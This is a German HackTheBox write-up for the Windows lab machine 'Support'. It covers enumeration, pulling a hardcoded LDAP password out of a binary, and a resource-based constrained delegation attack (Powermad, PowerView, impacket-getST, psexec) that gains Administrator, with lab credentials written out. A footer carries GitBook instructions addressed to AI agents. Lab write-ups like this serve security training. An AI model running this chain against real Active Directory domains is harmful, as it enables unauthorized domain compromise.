> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md).

# Support HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/484>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SMB-Enumerierung
* EXE-Binäranalyse
* Debugging mit DNSpy
* Setzen von Haltepunkten und Ermitteln eines LDAP-Passworts im Klartext (DNSpy)
* Kerberos-Benutzeraufzählung (kerbrute)
* LDAP-Aufzählung (ldapsearch)
* Informationsleck
* Missbrauch der Gruppe „Remote Management Users“ (Evil-WinRM)
* SharpHound + BloodHound-Aufzählung
* Missbrauch gemeinsamer Support-Konten (GenericAll) (RBCD-Angriff) (Resource-Based Constrained Delegation)
* Resource-Based-Constrained-Delegation-Angriff - Erstellen eines Computerkontos (powermad.ps1)
* Resource-Based-Constrained-Delegation-Angriff - PowerView\.ps1
* Resource-Based-Constrained-Delegation-Angriff - Das impersonierte Service-Ticket abrufen (getST.py)
* Verwendung des Tickets, um Administratorzugriff zu erlangen (Privilegieneskalation)
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252Fo2rnKrSfjXgEugmM3bpN%252Fimage.png%3Falt=media%26token=f926bbcb-20af-41c6-9325-7b565641549e&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=13a95f453743ff7d80a8a636b310fcf177817f872fc7fa53119ce971d2271c20" alt=""><figcaption></figcaption></figure>

#### **VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/f8dced352dc334ab0a1ec6fd1b1f0bae92132047" alt=""><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts
```

<figure><img src="/files/426548215f959ed530ca9cdd3e12087e6c2113ae" alt=""><figcaption></figcaption></figure>

**Versionsscan der Ports mit Nmap:** Mit Nmap einen Versionsscan der Ports durchführen und Informationen in der Datei "targeted" speichern:

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted
```

<figure><img src="/files/3a619283bbf98227d2e0631fcf06fdafcaab8287" alt=""><figcaption></figcaption></figure>

## **DC-Aufzählung:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### SMB-Liste:

Verwendung von CrackMapExec für die SMB-Aufzählung.

```bash
crackmapexec smb 10.10.11.174
```

<figure><img src="/files/c9b64fae4550a1c505f94be5617581fff81b5e60" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei

<figure><img src="/files/f721666bdbd1836874c120313020f80cf7068b00" alt=""><figcaption></figcaption></figure>

### **Kerberos-Liste:**

Verwendung von Kerbrute, um Benutzer aufzuzählen.

```bash
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt
```

<figure><img src="/files/f3aac482a11e614ea627803987afa47472f92784" alt=""><figcaption></figcaption></figure>

### **Erkundung von Netzwerkfreigaben:**

Suche nach freigegebenen Ordnern im Netzwerk.

```bash
smbmap -H 10.10.11.174 -u none
```

<figure><img src="/files/61d78c9904c752418544757affc54583cd2a20e1" alt=""><figcaption></figcaption></figure>

```bash
smbclient //10.10.11.174/support-tools -N
```

<figure><img src="/files/06caa7de68bdf144fc67780ad35f704b32ea4066" alt=""><figcaption></figcaption></figure>

Wir entdecken eine interessante ZIP-Datei namens „UserInfo-exe-zip“. Um fortzufahren, verwenden wir den `get` Befehl, um sie auf unseren Rechner herunterzuladen.

<figure><img src="/files/c696713a2a59ff4895544d4876c334f8b7bd017b" alt=""><figcaption></figcaption></figure>

### /*/* Analyse von Windows-Binärdateien:/*/*

Wir werden eine Windows-EXE auf einem mit Windows ausgestatteten Rechner ausführen.

Dazu müssen wir:

1. ZIP-Archiv übertragen

<figure><img src="/files/e598a24df774c7d410dc66f087fd37908413d56c" alt=""><figcaption></figcaption></figure>

2. Migration der VPN-Konfiguration
3. `/etc/hosts` Konfiguration

<figure><img src="/files/9f6503a963dc1d62513c6c06d3abec3c7f203a27" alt=""><figcaption></figcaption></figure>

Um die Binärdatei auszuführen und alle gültigen Benutzer zu identifizieren, geben Sie einfach den folgenden Befehl ein

```bash
./UserInfo.exe find -first * -last *
```

#### Diese Binärdatei ermöglicht es uns, Benutzer aufzulisten.

<figure><img src="/files/f6c7a8e15797d4187505174e3307de56336022d3" alt=""><figcaption></figcaption></figure>

#### Analyse der mit DNSpy heruntergeladenen Windows-Binärdatei.

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

<figure><img src="/files/058c5a3c5c069451af17f4b7236ca6d1421665ac" alt=""><figcaption></figcaption></figure>

### **Extraktion eines Klartextpassworts:**

Verwendung von DNSpy, um ein Klartextpasswort aus einer Windows-Binärdatei zu extrahieren.

<figure><img src="/files/4633693ba382d362fb0077af62916b190a0d1d6b" alt=""><figcaption></figcaption></figure>

Wir werden das Programm ausführen, aber wir werden nur in dem Abschnitt anhalten, in dem der Text im Klartext vorliegt.

<figure><img src="/files/cfbb59b5c6fb1f5661de629592d04797039271ff" alt=""><figcaption></figcaption></figure>

Hier ist das LDAP-Passwort:

<figure><img src="/files/2da4f0a4ae51b7ceb81e4eec185a627ab8752dcd" alt=""><figcaption></figcaption></figure>

### **Überprüfung des LDAP-Passworts:**

Überprüfung des mit CrackMapExec extrahierten Passworts.

```bash
crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="/files/3000105955f91ea519710bda2cd39d2ab7f66cbd" alt=""><figcaption></figcaption></figure>

### Domänenliste:

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
```

#### Domänenbenutzer

```
enumdomusers
```

<figure><img src="/files/30d05f24f609f56892dff8a74e09588e7d2f5846" alt=""><figcaption></figcaption></figure>

#### Domänengruppen

```bash
enumdomgroups
```

<figure><img src="/files/beeef81c3636da613ddb012b78fb9175620d50f9" alt=""><figcaption></figcaption></figure>

#### Benutzerbeschreibungen:

```bash
querydispinfo
```

<figure><img src="/files/bba5859b4aebad58867b465db48373de18bbc1e9" alt=""><figcaption></figcaption></figure>

#### Tragen Sie alle gültigen Domänenbenutzer in eine Datei ein.

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]'
```

<figure><img src="/files/fc956a66881e593bb14a9de2c6ef13506c1fc978" alt=""><figcaption></figcaption></figure>

#### Wir prüfen nun, ob das LDAP-Passwort für einen der folgenden Benutzer wiederverwendet wird:

```bash
crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
```

Allerdings funktioniert das nicht.

<figure><img src="/files/a2e76a254cc81437725c88efa3755afb42f08801" alt=""><figcaption></figcaption></figure>

### **LDAP-Auflistung:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap>" %}

#### Verwendung der LDAP-Suche, um Informationen aufzulisten.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

#### Es sind viele Daten verfügbar; durch Anwenden eines Filters auf die Song-Informationen wird jedoch ein Passwort für den Benutzer support entdeckt.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20
```

<figure><img src="/files/efeb2849184732efd528b996aa5c711e70a91f0a" alt=""><figcaption></figcaption></figure>

## **Ausnutzung:**

#### Verwenden Sie CrackMapExec, um das dem support-Konto zugeordnete Passwort zu bestätigen.

```bash
crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

Dieser Benutzer ist Teil der Gruppe der Remote-Management-Benutzer, wodurch wir uns über Windows Remote Management (WinRM) verbinden können.

```bash
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

### **Verwendung von Evil-WinRM:**

Verbinden Sie sich mit dem Zielsystem über Evil-WinRM mithilfe der ermittelten Informationen.

<figure><img src="/files/03e7b3452eabc6f6b495ea12350abf8225c2439a" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### **Überprüfung der aktuellen Berechtigungen:**<br>

Unter Verwendung der `whoami /priv` Befehl zum Überprüfen der Benutzerrechte, ohne Erfolg.<br>

<figure><img src="/files/dbb400691ba39761875f4aa220d3db08cc9994c4" alt=""><figcaption></figcaption></figure>

### **Analyse der Gruppenmitgliedschaften:**

Unter Verwendung der `net user support` Befehl, um die Gruppen zu prüfen, denen der Benutzer angehört.

Entdeckung einer offenbar seltenen Gruppe, „shared support accounts“.

<figure><img src="/files/653a334b1de2293086a1f90fbbda548a32aa633e" alt=""><figcaption></figcaption></figure>

### **Verwendung von BloodHound zur Privilegienanalyse:**

#### Verwendung des BloodHound-Tools, um Zugriffsbeziehungen abzubilden.

{% embed url="<https://github.com/BloodHoundAD/SharpHound>" %}

<figure><img src="/files/e0583e43358caf02572d6533e22b692263176d33" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/2461ab4796e685b7df47bb04ac661e4aacb21ed2" alt=""><figcaption></figcaption></figure></div>

### **Ausführung von SharpHound zur weiteren Analyse:**

Verwendung von SharpHound, einem ergänzenden Tool zu BloodHound, um zusätzliche Daten zu Zugriffsbeziehungen zu sammeln.

```powershell
./SharpHound.exe -c All
```

<div data-full-width="true"><figure><img src="/files/8a351998f4bab6002d29d8c6e9572c13f77a892c" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/c6c7c73e5f08ab3bf489afc061c567399262b9bb" alt=""><figcaption></figcaption></figure>

## Schwachstelle: Resource-Based-Constrained-Delegation-Angriff:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>" %}

### **Identifizierung der Schwachstelle: Resource-Based-Constrained-Delegation-Angriff:**

<div data-full-width="true"><figure><img src="/files/f5e5ca6d83a8b1b87fe09011c3cc1005d1ddce0e" alt=""><figcaption></figcaption></figure></div>

#### Einsatz des Powermad-Skripts zum Erstellen eines Computerkontos.

{% embed url="<https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1>" %}

```powershell
upload Powemad.ps1
Import-Module ./Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

#### Verwendung von PowerView, um die Erstellung des Computerkontos zu überprüfen.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

```powershell
upload PowerView.ps1
Import-Module ./PowerView.ps1
```

<div data-full-width="true"><figure><img src="/files/f5af8afdecc0c9ed3be1dc48b6b3a17af1ddb86a" alt=""><figcaption></figcaption></figure></div>

#### Definition der Berechtigungen für das Computerkonto mithilfe von PowerShell-Befehlen.

```powershell
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

#### Mit diesem Befehl prüfen wir, ob der gesamte Vorgang „Get-DomainComputer dc“ mithilfe der Eigenschaft „msds-allowedtoactonbehalfofotheridentity“ funktioniert.

<div data-full-width="true"><figure><img src="/files/c71c142fea0d0e1b1cc855e5f78920a52f441e19" alt=""><figcaption></figcaption></figure></div>

### **Ausnutzung der Schwachstelle**

#### Verwendung des Impacket-Tools, um den `getST` Befehl auszuführen, um ein TGT-Ticket zu erhalten, das den Benutzer Administrator imitiert.

```bash
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
```

<figure><img src="/files/12bac2922151200a90e2c598552d8258c0aa02ce" alt=""><figcaption></figcaption></figure>

#### Konfigurieren Sie die Kerberos-Umgebung des Administrators, indem Sie `KRB5CCNAME`, und verbinden Sie sich dann mit dem Zielsystem mithilfe von Impacket `psexec`.<br>

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
```

<figure><img src="/files/071a646f14df2687acfaac2456a755855af0009e" alt=""><figcaption></figcaption></figure>

### Finale Flagge :)

<figure><img src="/files/2c65e901a1f1499536f5739862a7652ac47ab87c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/22a1744ce041a5720513ce914cb13d48755043a1" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
